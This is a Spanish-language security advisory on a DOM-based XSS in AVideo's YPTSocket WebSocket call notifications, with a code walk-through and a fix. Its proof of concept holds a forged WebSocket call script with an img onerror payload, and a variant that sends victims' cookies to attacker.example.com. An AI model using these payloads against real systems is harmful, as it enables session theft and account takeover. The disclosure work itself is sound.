GHSA-W4HP-W536-JG64
AVideo: XSS basado en DOM mediante nombre para mostrar sin sanitizar en la notificación de llamada por WebSocket
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-W4HP-W536-JG64 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Resumen
La función de llamadas del complemento YPTSocket de AVideo muestra las notificaciones de llamadas entrantes con el complemento jQuery Toast, pasando el nombre para mostrar del llamante directamente como parámetro `heading`. El complemento de toast construye el encabezado como HTML sin procesar (`'<h2>' + heading + '</h2>'`) y lo inserta en el DOM mediante el método `.html()` de jQuery, que analiza y ejecuta cualquier contenido HTML o script incrustado. Un atacante puede establecer su nombre para mostrar como carga útil XSS y provocar la ejecución de código en el navegador de cualquier usuario en línea simplemente iniciando una llamada. La víctima no necesita interactuar más allá de estar conectada al WebSocket.
Detalles
Cuando una notificación de llamada llega por WebSocket, la identidad del llamante se extrae del mensaje JSON:
// plugin/YPTSocket/caller.js:73
userIdentification = json.from_identification;Este valor se pasa directamente al complemento jQuery Toast como encabezado:
// plugin/YPTSocket/caller.js:89
heading: userIdentification,Dentro del complemento jQuery Toast, el encabezado se renderiza como HTML sin procesar:
// node_modules/jquery-toast-plugin/src/jquery.toast.js:60
// Constructs: '<h2>' + heading + '</h2>'
// Then inserts via .html()El método `.html()` de jQuery analiza la cadena como HTML y ejecuta cualquier elemento con scripts (como `<img onerror>`, `<svg onload>`, etc.).
Existe un vector de inyección secundario en el mismo archivo, donde el mensaje JSON completo se coloca dentro de un atributo `onclick` delimitado por comillas simples:
// plugin/YPTSocket/caller.js:121-123
imageAndButton += '<button class="btn btn-danger btn-circle incomeCallBtn" onclick=\'hangUpCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone-slash"></i></button>';
if (isJsonReceivingCall(json)) {
imageAndButton += '<button class="btn btn-success btn-circle incomeCallBtn" onclick=\'acceptCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone"></i></button>';`JSON.stringify(json)` se coloca dentro de un atributo `onclick` delimitado por comillas simples. Si cualquier campo de `json` contiene una comilla simple, se rompe el límite del atributo y se permite la inyección de atributos.
Prueba de concepto
Nota importante sobre el vector de ataque: `User::setName()` en `objects/user.php:2069` usa `strip_tags()`, por lo que el nombre para mostrar SÍ se sanitiza en el servidor cuando se establece mediante la interfaz normal o la API. Sin embargo, el servidor WebSocket retransmite los mensajes de llamada tal cual, sin validar del lado del servidor el campo `from_identification`. Un cliente WebSocket malicioso puede enviar cualquier valor de `from_identification` directamente mediante el protocolo WebSocket, evitando por completo la sanitización del servidor. El ataque requiere un cliente WebSocket personalizado, no la interfaz normal.
Paso 1: Conectar un cliente WebSocket malicioso y enviar un mensaje de llamada falsificado
El siguiente JavaScript se conecta directamente al servidor WebSocket de AVideo y envía un mensaje de llamada con una carga útil XSS en el campo `from_identification`:
// Malicious WebSocket client - bypasses server-side strip_tags() sanitization
const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() {
// Send a forged call message with HTML in from_identification
const payload = {
msg: 'call',
from_users_id: 1,
to_users_id: VICTIM_USER_ID,
from_identification: '<img src=x onerror=alert(document.cookie)>',
resourceURL: 'https://your-avideo-instance.com/meet/123'
};
ws.send(JSON.stringify(payload));
console.log('Forged call message sent');
};Paso 2: Cuando la víctima recibe la notificación de llamada, el toast renderiza `from_identification` como HTML mediante `.html()` de jQuery. La etiqueta `<img>` activa el manejador `onerror`, ejecutando JavaScript en el contexto del navegador de la víctima.
Versión más avanzada de la carga útil para la exfiltración de credenciales:
// Credential exfiltration via forged WebSocket call
const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() {
ws.send(JSON.stringify({
msg: 'call',
from_users_id: 1,
to_users_id: VICTIM_USER_ID,
from_identification: '<img src=x onerror="fetch(\'https://attacker.example.com/log?\'+document.cookie)">',
resourceURL: 'https://your-avideo-instance.com/meet/123'
}));
};Pasos para reproducir:
- Identificar la dirección del servidor WebSocket de la instancia de AVideo objetivo (normalmente el puerto 8888).
- Conectar un cliente WebSocket personalizado al servidor.
- Enviar un mensaje de llamada con `from_identification` establecido en `<img src=x onerror=alert(document.cookie)>`.
- Asegurarse de que un usuario víctima esté en línea y conectado al WebSocket (cualquier página autenticada con YPTSocket cargado).
- Observar cómo se ejecuta la carga útil XSS en el navegador de la víctima cuando aparece la notificación toast. No se requiere interacción de la víctima.
Impacto
Se trata de una vulnerabilidad de XSS almacenado de clic cero. La víctima no necesita hacer clic en nada: basta con estar conectada al WebSocket (lo que ocurre automáticamente al cargar cualquier página autenticada) para que el ataque tenga éxito. El atacante controla cuándo se activa la carga útil al iniciar una llamada.
Las consecuencias incluyen:
- Secuestro de sesión: robar la cookie de sesión de la víctima y suplantarla.
- Toma de control de la cuenta: si la víctima es administradora, el atacante obtiene control total de la plataforma.
- Propagación tipo gusano: la carga útil XSS puede cambiar automáticamente el nombre para mostrar de la víctima por la misma carga útil y llamar a otros usuarios en línea, creando un gusano autopropagable.
- Registro de pulsaciones y robo de credenciales: inyectar scripts persistentes que capturen las pulsaciones de teclado en la página actual.
El ataque es de clic cero y puede dirigirse a cualquier usuario específico que esté en línea.
- CWE: CWE-79 (secuencia de comandos en sitios cruzados (XSS) basada en DOM)
Solución recomendada
Codificar en HTML el valor de `heading` antes de pasarlo a `$.toast()` en `plugin/YPTSocket/caller.js:89`:
heading: $('<span>').text(userIdentification).html(),Esto usa `.text()` de jQuery para codificar de forma segura la cadena controlada por el usuario y luego extrae el HTML escapado mediante `.html()`.
---
*Encontrado por aisafe.io https://aisafe.io*
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistwwbn/avideo |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-34716https://github.com/WWBN/AVideo/security/advisories/GHSA-w4hp-w536-jg64https://github.com/WWBN/AVideoLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
